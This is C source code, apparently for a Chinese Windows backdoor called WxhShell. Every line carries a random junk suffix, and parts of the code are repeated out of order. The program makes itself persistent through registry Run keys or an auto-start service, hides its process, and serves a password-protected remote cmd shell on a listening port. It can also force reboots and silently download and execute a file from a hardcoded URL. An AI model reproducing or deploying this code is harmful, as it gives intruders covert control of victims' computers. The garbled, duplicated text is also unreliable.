    if(Boot(SHUTDOWN)) C$8=HM3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e 6*=Si}V  
    else { *3|KbCX  
    closesocket(wsh); NQmDm!-4  
    ExitThread(0); zx27aZ[  
    } 3?:}lY<,  
    break; Eq t61O$x  
    } <$E8T>U  
  // 获取shell M5]w U   
  case 's': { xQQ6D  
    CmdShell(wsh); Xma0k3;-  
    closesocket(wsh); ;I>`!|mT  
    ExitThread(0); WVZ\4y  
    break; n):VuOjm  
  } Ap/WgVw;  
  // 退出 D+OkD-8q  
  case 'x': { gIeo7>u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [eImP V]  
    CloseIt(wsh); \gdd  
    break; Z,*VRuA  
    } ; ?!sU  
  // 离开 OX91b<A  
  case 'q': { 7 UR)4dYA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @:}z\qBM  
    closesocket(wsh); piU4%EO  
    WSACleanup(); ,M9'S;&^  
    exit(1); I/'>Bn+  
    break; . @.CQB=E  
        } 0/c4%+ Ln  
  } - 0zo>[c/p  
  } $/Mk.(3'P  
~34$D],D  
  // 提示信息 QeGU]WU{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1z)+P1nH]  
} 6(.&y;  
  } gCmGFQE-f  
V5=Injs *  
  return; <R2bz1!h.  
} dpy,;nqzeN  
k,2% %m  
// shell模块句柄 8_>R'u[  
int CmdShell(SOCKET sock) *fE5Z;!}  
{ *{uu_O  
STARTUPINFO si; )[A}h'J)  
ZeroMemory(&si,sizeof(si)); ,W.O*vCA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mf?4 `LM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Jb I7Le  
PROCESS_INFORMATION ProcessInfo; #p^D([k \  
char cmdline[]="cmd"; uy$o%NL-7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _$r+*nGDz  
  return 0; #N*~Q  
} nv|&|6?`oK  
$lvpBs  
// 自身启动模式 ~`y6YIJ3  
int StartFromService(void) B|!Re4`0  
{ d6u L;eR  
typedef struct )pg?ZM9  
{ lm$T`:c  
  DWORD ExitStatus; wDn5|F}i&  
  DWORD PebBaseAddress; "F=O   
  DWORD AffinityMask; _]B'C  
  DWORD BasePriority; 5'X.Z:  
  ULONG UniqueProcessId; ZW2U9  
  ULONG InheritedFromUniqueProcessId; ur;8uv2o  
}   PROCESS_BASIC_INFORMATION; &Oe,$%{hBh  
1&U U6|X  
PROCNTQSIP NtQueryInformationProcess; AtSEKpKc  
^s^X nQhE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~GZ(Ou-&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y8\44WKW  
5WEF^1  
  HANDLE             hProcess; HH^eEh4g  
  PROCESS_BASIC_INFORMATION pbi; xand%XNv  
J5429Soo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dH8H<K~  
  if(NULL == hInst ) return 0; 9T)-|fja_  
C/)Xd^#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5K,Y6I&$SJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W}Z'zU?[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  0N md*r  
f"z96{zo  
  if (!NtQueryInformationProcess) return 0; @X|CubJ  
 E;k'bz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9%|!+!j  
  if(!hProcess) return 0; .QW89e,O3  
jfk`%C Ek=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fF ;-d2mF  
Ok9XC <Xu  
  CloseHandle(hProcess); ;as B@Q  
W@ #Y/L:${  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); moh7:g  
if(hProcess==NULL) return 0; ENygD  
66v6do7  
HMODULE hMod; /mmC qP  
char procName[255]; |[8&5[);  
unsigned long cbNeeded; "Q ^Ck7  
q45Hmz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h60*=+vdJ  
sT|8a  
  CloseHandle(hProcess); OQA}+XO  
@jX[Ho0W'  
if(strstr(procName,"services")) return 1; // 以服务启动 .#@*)1A#t  
bP(xMw<'j  
  return 0; // 注册表启动 }Dm-Ibdg(  
} aH*)W'N?  
6Wl+5 a6V  
// 主模块 `|[Q]+Mx  
int StartWxhshell(LPSTR lpCmdLine) u`3J2 ,.  
{ 4Z,MqG>  
  SOCKET wsl; ?(H/a-(:v}  
BOOL val=TRUE; fM6Pw6k  
  int port=0; tRFj<yuaq  
  struct sockaddr_in door; jUYb8:B  
# 2s$dI  
  if(wscfg.ws_autoins) Install(); }[k~JXt  
voEg[Gg4%I  
port=atoi(lpCmdLine); ng"R[/)In  
Jc95Ki1X  
if(port<=0) port=wscfg.ws_port; ;kDz9Va  
8A#qbBD  
  WSADATA data; |#>\GU=!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QOB>Tv E  
h@&& .S`B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h${+{1](6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f.4r'^  
  door.sin_family = AF_INET; 2Gd.B/L6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'gI q_t|^  
  door.sin_port = htons(port); oSq4g{xvMH  
J4&d6[40  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { . _Bejh  
closesocket(wsl); *F[@lY\p  
return 1;  R5(<:]  
} 8c3Qd  
q#$Al  
  if(listen(wsl,2) == INVALID_SOCKET) { A!\ g!*  
closesocket(wsl); {1Z8cV   
return 1; Dyyf%'\M  
} Wxx? iW ,  
  Wxhshell(wsl); {26/SY  
  WSACleanup(); j#hFx+S  
E<y0;l?H<  
return 0; u_shC"X:  
B&3oo   
} Iy% fg',%  
L )p*D(  
// 以NT服务方式启动 kZ~0fw-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <b !nI N  
{ ',$Uw|N  
DWORD   status = 0; -PPH]?],  
  DWORD   specificError = 0xfffffff; t"4RGO)jh  
yhxen  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I&%{%*y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +uZ,}J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l];w,(u{  
  serviceStatus.dwWin32ExitCode     = 0; 6aRPm%  
  serviceStatus.dwServiceSpecificExitCode = 0; '#pY/,hVB  
  serviceStatus.dwCheckPoint       = 0; Z<jio  
  serviceStatus.dwWaitHint       = 0; QhR.8iS  
'RZ=A+%X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  3 c #oK  
  if (hServiceStatusHandle==0) return; >zx]% W  
<+o*"z\mI  
status = GetLastError(); 1$mxMXNsJ  
  if (status!=NO_ERROR) HGM? ?=  
{ sxc^n aK0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;r'y/ Y'?  
    serviceStatus.dwCheckPoint       = 0; E0?R,+>&4  
    serviceStatus.dwWaitHint       = 0; 6:_@;/03%  
    serviceStatus.dwWin32ExitCode     = status; `< _A#@  
    serviceStatus.dwServiceSpecificExitCode = specificError; TkHyXOk"Ky  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _sLSl; /t  
    return; %c:v70*h=  
  } OI/m_xx@j  
j=c=Pe"?u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7m='-_w)?w  
  serviceStatus.dwCheckPoint       = 0; "pUqYMB2i  
  serviceStatus.dwWaitHint       = 0; xgeDfpF'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4u0\|e@a  
} NEp )V'  
TNun)0p  
// 处理NT服务事件,比如:启动、停止 +pMa-{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B"KDr_,,  
{ &ed&2t`Y  
switch(fdwControl) q+<<Ku(20  
{ n/]w!  
case SERVICE_CONTROL_STOP: $FR1^|P/G  
  serviceStatus.dwWin32ExitCode = 0; JzuU k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o9GtS$ O\  
  serviceStatus.dwCheckPoint   = 0; 9rD6."G  
  serviceStatus.dwWaitHint     = 0; 3X|7 R  
  { j:k}6]p}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5~8FZ-x  
  } <=O/_Iu(  
  return; sVzU>  
case SERVICE_CONTROL_PAUSE: NWL\"xp `t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 H 4W  
  break; `wGP31Y.  
case SERVICE_CONTROL_CONTINUE: ,^Ug[pGG-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ &UezDTS  
  break; ppYIVI  
case SERVICE_CONTROL_INTERROGATE: 0 $Ygt0d  
  break; "p Rr>Fa  
}; `3wzOMgJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t?&@bs5~g  
} *,x-}%X  
d;:H#F+ (  
// 标准应用程序主函数 7tZvz `\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1VXyn\  
{ $!Qv f  
WF#3'"I  
// 获取操作系统版本 yZHh@W4v  
OsIsNt=GetOsVer(); NCu:E{([  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cpY'::5.%  
0XgJCvMcB  
  // 从命令行安装 :6h$1 +6  
  if(strpbrk(lpCmdLine,"iI")) Install(); J~jxmh  
322)r$!"  
  // 下载执行文件 N"',  
if(wscfg.ws_downexe) { nO;*Peob  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O\~/J/u <  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^k#.;Q#4  
} }^b7x;O|  
5>S=f{ghFw  
if(!OsIsNt) { ng0tNifZ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 pYxdE|2j  
HideProc(); 76'@}wNnw  
StartWxhshell(lpCmdLine); V?[dg^*0  
} aB $xQ|~  
else mK Ta.  
  if(StartFromService()) PQ0l<]Y  
  // 以服务方式启动 ,V`zW<8  
  StartServiceCtrlDispatcher(DispatchTable); [<0\v<{`L  
else \N|ma P  
  // 普通方式启动 # .j[iN :+  
  StartWxhshell(lpCmdLine); '!V5 #J  
(7zdbJX  
return 0; K-<kp!v  
} B)L=)N  
o)B`K."  
v,eTDgw  
O>vbAIu  
=========================================== tMy<MO)Ei  
U07 G&? /  
tJ qd  
AiDV4lHr  
J$+K't5BZ  
U??T>  
" =!R+0  
arQEi  
#include <stdio.h> !dcG Bj  
#include <string.h> |0wHNRN_  
#include <windows.h> !kpnBgmU  
#include <winsock2.h> ^7p>p8  
#include <winsvc.h> 3Yb2p!o  
#include <urlmon.h> ZH s' #  
th4yuDPuA  
#pragma comment (lib, "Ws2_32.lib") ,ve$bSp  
#pragma comment (lib, "urlmon.lib") Zqp<8M2  
. a@>1XO  
#define MAX_USER   100 // 最大客户端连接数 E0lro+'lS  
#define BUF_SOCK   200 // sock buffer pD@2Mt0|]=  
#define KEY_BUFF   255 // 输入 buffer n[f<]4<  
IncHY?ud<  
#define REBOOT     0   // 重启 }#bX{?f  
#define SHUTDOWN   1   // 关机 H)5V \  
jI%g!  
#define DEF_PORT   5000 // 监听端口 Q($.s=&l;  
Qzh`x-S  
#define REG_LEN     16   // 注册表键长度 )a;ou>u  
#define SVC_LEN     80   // NT服务名长度 )=9EShz!  
zZh\e,*  
// 从dll定义API .ou#BWav/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0*4h}t9j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); um5n3=K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h ycdk1SN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QPZ|C{Ce  
:enmMB#%  
// wxhshell配置信息 ? CabVj-r  
struct WSCFG { OZCbMeB{+J  
  int ws_port;         // 监听端口 IPTEOA<M[  
  char ws_passstr[REG_LEN]; // 口令 q\I2lZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9FKowF_8  
  char ws_regname[REG_LEN]; // 注册表键名 PKK18E}{%^  
  char ws_svcname[REG_LEN]; // 服务名 jn:9Cr,o;g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qiyX{J7Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OtsW>L@ O(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "'9[c"Iz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dU<qFxW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `9>1 w d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9|K3xH  
s.{nxk.  
}; 2$@N4  
H6Dw5vG"l  
// default Wxhshell configuration ]N#%exBVo  
struct WSCFG wscfg={DEF_PORT, 4xl}kmvv  
    "xuhuanlingzhe", >vny9^_  
    1, v "Yo  
    "Wxhshell", id=:J7!QU  
    "Wxhshell", + m+v1(@  
            "WxhShell Service", a*T=;P3(I  
    "Wrsky Windows CmdShell Service", xkPH_+4i8  
    "Please Input Your Password: ", K:_5#!*^98  
  1, #y2IHO-  
  "http://www.wrsky.com/wxhshell.exe", <5fb, @YN  
  "Wxhshell.exe" MzP q(`W  
    }; )_-EeH  
Yg<4}l."  
// 消息定义模块 mAZfo53  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P-25]-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KJQW))%e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (7k}ysc  
char *msg_ws_ext="\n\rExit."; jSKhWxL;'  
char *msg_ws_end="\n\rQuit."; d:"#_  
char *msg_ws_boot="\n\rReboot..."; 1{0 L~  
char *msg_ws_poff="\n\rShutdown..."; 6|HxBC#4  
char *msg_ws_down="\n\rSave to "; 5p]Cwj<u  
W_\~CntyZ  
char *msg_ws_err="\n\rErr!"; M7x*LiKc2  
char *msg_ws_ok="\n\rOK!"; tUXly|k  
Q.zE}ZS  
char ExeFile[MAX_PATH]; NAnccB D!{  
int nUser = 0; lBN1OL[N  
HANDLE handles[MAX_USER]; dF#`_!4pbf  
int OsIsNt; o)}M$}4  
-,Y[`(q  
SERVICE_STATUS       serviceStatus; $bd tiD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a|5^4 J \%  
3Gyw^_{J  
// 函数声明 %k8 H'w\  
int Install(void);  A&8{0  
int Uninstall(void); 4 >2g&);B  
int DownloadFile(char *sURL, SOCKET wsh); n5e1k y*9w  
int Boot(int flag); t7; ^rk*  
void HideProc(void); uNoP8U%*  
int GetOsVer(void); !YZ$WiPl  
int Wxhshell(SOCKET wsl); R{3vPG  
void TalkWithClient(void *cs); 6{8dv9tK  
int CmdShell(SOCKET sock); <GRplkf`  
int StartFromService(void); 8+=-!": ]  
int StartWxhshell(LPSTR lpCmdLine); QH]G>+LI5  
vXUq[,8yf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z c4l{+3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6%Ws>H4@|  
qy$1+>f1  
// 数据结构和表定义 N{<9N jmm  
SERVICE_TABLE_ENTRY DispatchTable[] = I4RUXi 5  
{ |vVcO  
{wscfg.ws_svcname, NTServiceMain}, M tD{/.D>  
{NULL, NULL} Ak=|wY{  
}; Q}(D^rGP3  
;"T,3JQPn6  
// 自我安装 7!kbe2/]'  
int Install(void) t,4'\nv*  
{ Of?3|I3 l  
  char svExeFile[MAX_PATH]; }(-2a*Z;Y  
  HKEY key; |(Q !$  
  strcpy(svExeFile,ExeFile); =E~)svl6g  
k'b'Ay(<  
// 如果是win9x系统,修改注册表设为自启动 TLWU7aj&!  
if(!OsIsNt) { 1O@y >cV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;:l>Kac  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }g]O_fN7~  
  RegCloseKey(key); {CH *?|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >/eV4ma"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EDAVU  
  RegCloseKey(key); y%NZ(Y,v  
  return 0; =T3O;i  
    } p+7ZGB  
  } @9ndr$t  
} uu`G<n  
else { oD?c]}3  
}bM=)eUfX  
// 如果是NT以上系统,安装为系统服务 DI,8y"!5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !c#~g0H+  
if (schSCManager!=0) A!n)Fpk  
{ S#g=;hD  
  SC_HANDLE schService = CreateService g]a5%8*{  
  ( iF!r}fUU6  
  schSCManager, x=jS=3$8  
  wscfg.ws_svcname, 9 U!-Zn!  
  wscfg.ws_svcdisp, /~nPPC  
  SERVICE_ALL_ACCESS, ?VaAVxd29  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8*[Q{:'.  
  SERVICE_AUTO_START, +w(>UBy-  
  SERVICE_ERROR_NORMAL, aH(B}wh{  
  svExeFile, ~P5;k_&  
  NULL, aNxq_pRb  
  NULL, tJgo% P1  
  NULL, @Q#<-/  
  NULL, ,'>,N/JA  
  NULL WiBO8N,%`  
  ); n |Is&fy  
  if (schService!=0) )cUFb:D*"  
  { >ngP\&\  
  CloseServiceHandle(schService); {S 2? }  
  CloseServiceHandle(schSCManager); !hS~\+E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` fm^#Nw  
  strcat(svExeFile,wscfg.ws_svcname); u?-X07_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PY{])z3N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !b:;O +[  
  RegCloseKey(key); 8O='Q-& 8  
  return 0; %g+*.8;"b  
    }  jcVK4jW  
  } N sNk  
  CloseServiceHandle(schSCManager); v$_YZm{!<  
} :^H#i:4  
} c(5r  
RV{'[8gM   
return 1; n(.U>_ P  
} @Fs2J_v  
n$z+g>~N  
// 自我卸载 BL?Bl&p(  
int Uninstall(void) s4uYp  
{ >56I`[)  
  HKEY key; }US^GEs(  
c u:1|gt  
if(!OsIsNt) { Ed$;#4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L28DBjE)A  
  RegDeleteValue(key,wscfg.ws_regname); 64jFbbd-/  
  RegCloseKey(key); +;*dFL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tu*"+*r>s  
  RegDeleteValue(key,wscfg.ws_regname); SuuLB6{u3  
  RegCloseKey(key); d> OLnG> F  
  return 0; `L#`WC@[o  
  } {=)g?!zC  
} :,]*~Nl  
} D <SLv,Y  
else { CQGq}.Jt!  
Q`* v|Lp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U 4Sxr  
if (schSCManager!=0) *W&}}iL  
{ t7 ].33%\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Aq~}<qkIF+  
  if (schService!=0) /6@~XO) w  
  { jXu)%<  
  if(DeleteService(schService)!=0) { zv>3Tc0R  
  CloseServiceHandle(schService); : #om6}   
  CloseServiceHandle(schSCManager); {@tqeu%IM  
  return 0; @ UgZZ  
  } d=~-8]%\  
  CloseServiceHandle(schService); ? ^l{t4  
  } rm"C|T4:V  
  CloseServiceHandle(schSCManager); o{n)w6P{R,  
} Xe:gH.}  
} ln~;Osb  
M}c gVMW  
return 1; "jFRGgd79  
} r iuG,$EX  
piv/QP-X  
// 从指定url下载文件 `$hna{e^n  
int DownloadFile(char *sURL, SOCKET wsh) 3LK]VuZE  
{ ^xZo .P  
  HRESULT hr; T)Ohk(jK1  
char seps[]= "/"; |gP9^B?3  
char *token; VGDds  
char *file; R<-u`uX nP  
char myURL[MAX_PATH]; pA|Z%aL  
char myFILE[MAX_PATH]; fVJsVZ"6v`  
zVL"$ )  
strcpy(myURL,sURL); 9f/RD?(1O  
  token=strtok(myURL,seps); ja1WI  
  while(token!=NULL) HC[)):S*  
  { Eh{]so  
    file=token; [@RJ2q$  
  token=strtok(NULL,seps); 7=e!k-G  
  } gs?=yNL  
G5K_e:i  
GetCurrentDirectory(MAX_PATH,myFILE); _pM~v>~*+  
strcat(myFILE, "\\"); 3\~ RWoB0u  
strcat(myFILE, file); ud}B#{6  
  send(wsh,myFILE,strlen(myFILE),0); !rwe|"8m?u  
send(wsh,"...",3,0); .NOh[68'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kl&9M!;:n  
  if(hr==S_OK) <ic%c/mN  
return 0; {y0`p1  
else s1/:Ts[3i  
return 1; t^Hte^#S  
V/; / &  
} SA1| 7  
p l.D h  
// 系统电源模块 cI g|sn  
int Boot(int flag) q)Uh_l.Cj  
{ [`'[)B  
  HANDLE hToken; L4wKG&  
  TOKEN_PRIVILEGES tkp; %?`TyVt&0  
`tZ-8f  
  if(OsIsNt) { _t+.I9kQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "h>B`S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `VB]4i}u  
    tkp.PrivilegeCount = 1; NjL^FqA[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )X dpzWod  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }>|!Mf]W?R  
if(flag==REBOOT) { beN(7jo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q8^fgI|  
  return 0; _#2AdhCu  
} Q, 1TD 2)h  
else { x<-n}VK\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) equTKM  
  return 0; 8T2iqqG/1  
} kS@6'5U  
  } _r6aLm2n  
  else { 8&0+Az"{O  
if(flag==REBOOT) { >gqd y*Bg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $2?10}mrx  
  return 0; \@ j YY~  
} nKP[U=ac  
else { v o9Fj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l-GQ AI8  
  return 0; @aX$}  
} ~SWR|[  
} ^I4/{,Ev  
lN<,<'&^.  
return 1; BRu/pyxG  
} n qR8uL>  
k~<b~VcU  
// win9x进程隐藏模块 /M.@dW7 w  
void HideProc(void) p%_m!   
{ Ul41R Ny)  
,2I8,MOg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c,\!<4  
  if ( hKernel != NULL ) \vU1*:3  
  { 0!^vQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <o\2-fWvY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .%iJin"  
    FreeLibrary(hKernel); ~qk5Mk4$  
  } ~sd+ch*  
D8b~-#  
return; DV,rh83.ip  
} |6mDooTy  
@n-[bN  
// 获取操作系统版本 3O W) %  
int GetOsVer(void) D)u 9Y  
{ QnWM<6xK"  
  OSVERSIONINFO winfo; <`~zKFUQ[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]B;\?Tim  
  GetVersionEx(&winfo); kCq]#e~wq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &vy/Vd  
  return 1; ) Apg  
  else yLo{^4a.  
  return 0; ##6_kcL:6G  
} R-8/BTls7  
vw'`t6  
// 客户端句柄模块 ?-"%%#  
int Wxhshell(SOCKET wsl) n$ri:~s  
{ (($"XOU  
  SOCKET wsh; |#r [{2sS  
  struct sockaddr_in client; 2rr}5i)r|  
  DWORD myID; #..-!>lY  
jf_0IE  
  while(nUser<MAX_USER) 0S{dnp  
{ J5J$qCJq  
  int nSize=sizeof(client); }Z|uLXaz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xKKR'v:o\  
  if(wsh==INVALID_SOCKET) return 1; T%%+v#+  
E>BP b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qrFC4\q}  
if(handles[nUser]==0) b :Knc$  
  closesocket(wsh); $7#N@7  
else Bhy:" r%#  
  nUser++; $9}z^sGIM  
  } P&ig.Og*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 78s:~|WB<{  
d" "GG/  
  return 0; IQZBH2R  
} ]aqHk  
; FO1b*  
// 关闭 socket k{fCU%  
void CloseIt(SOCKET wsh) z)Y<@2V*C  
{ &IQp&  
closesocket(wsh); $uA?c& e  
nUser--; N@M(Iw  
ExitThread(0); sGf\!w  
} iaqhP7!  
P(_wT:8C?  
// 客户端请求句柄 FN#6pM']|  
void TalkWithClient(void *cs) x4PH-f-7  
{ n\nC.|_G@  
"%c\i-&t  
  SOCKET wsh=(SOCKET)cs; %f{1u5+5  
  char pwd[SVC_LEN]; d2Z kchf  
  char cmd[KEY_BUFF]; Y4%Bx8  
char chr[1]; +DWmutL  
int i,j; 9I a4PPEH1  
?G5JAG`  
  while (nUser < MAX_USER) { .b4_O CGg  
9.KOrg5}L  
if(wscfg.ws_passstr) { [e2sUO0~r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;CU<\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *0 ;DCUv  
  //ZeroMemory(pwd,KEY_BUFF); x*H4o{o0  
      i=0; \haJe~  
  while(i<SVC_LEN) { FtUOgL)|  
&S}i)Nu6J  
  // 设置超时 TzXivE@mm  
  fd_set FdRead; [<)/ c>Y  
  struct timeval TimeOut; )`RF2Y-A7  
  FD_ZERO(&FdRead); cxTP4\T\E  
  FD_SET(wsh,&FdRead); rz]0i@ehv'  
  TimeOut.tv_sec=8; &^ sgR$m  
  TimeOut.tv_usec=0; >K{/Jx&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  +X i#y}%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); apxZ}  
+$MNG   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H61 ,pr>  
  pwd=chr[0]; 8oSndfV  
  if(chr[0]==0xd || chr[0]==0xa) { $XFiH~GI  
  pwd=0; XE_|H1&j  
  break; tHSe>*eC  
  } ,3G8afo  
  i++; EDR;" G(N  
    } ta>:iQ a  
DWB.dP *8  
  // 如果是非法用户,关闭 socket (C#9/WO?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {:&t;5qz^  
} DiK@>$v  
i|X ;n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 l'Wb2g>A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vUGEzCM  
N[ %^0T$  
while(1) { P8K{K:T  
kji*7a?y  
  ZeroMemory(cmd,KEY_BUFF); QE&rpF7l{  
Y`S9mGR#  
      // 自动支持客户端 telnet标准   +/60$60[z  
  j=0; j2T Z`Z?a^  
  while(j<KEY_BUFF) { #vi `2F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RVv@x5  
  cmd[j]=chr[0]; TIg 3'au  
  if(chr[0]==0xa || chr[0]==0xd) { &pS <4  
  cmd[j]=0; 4K82%P9a  
  break; 4,m aA  
  } Cf`s:A5<J  
  j++; \*x]xc/^  
    } ^[}^+  
UY*3b<F}  
  // 下载文件  k%V#{t.  
  if(strstr(cmd,"http://")) { sE$!MQb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sQrP,:=r#  
  if(DownloadFile(cmd,wsh)) D 8^wR{-;J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G>{Bij44  
  else j nvi_Rodm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T]d9tX-  
  } ^)Xl7d|m+  
  else { ~:r:?PwWG  
* 8n0  
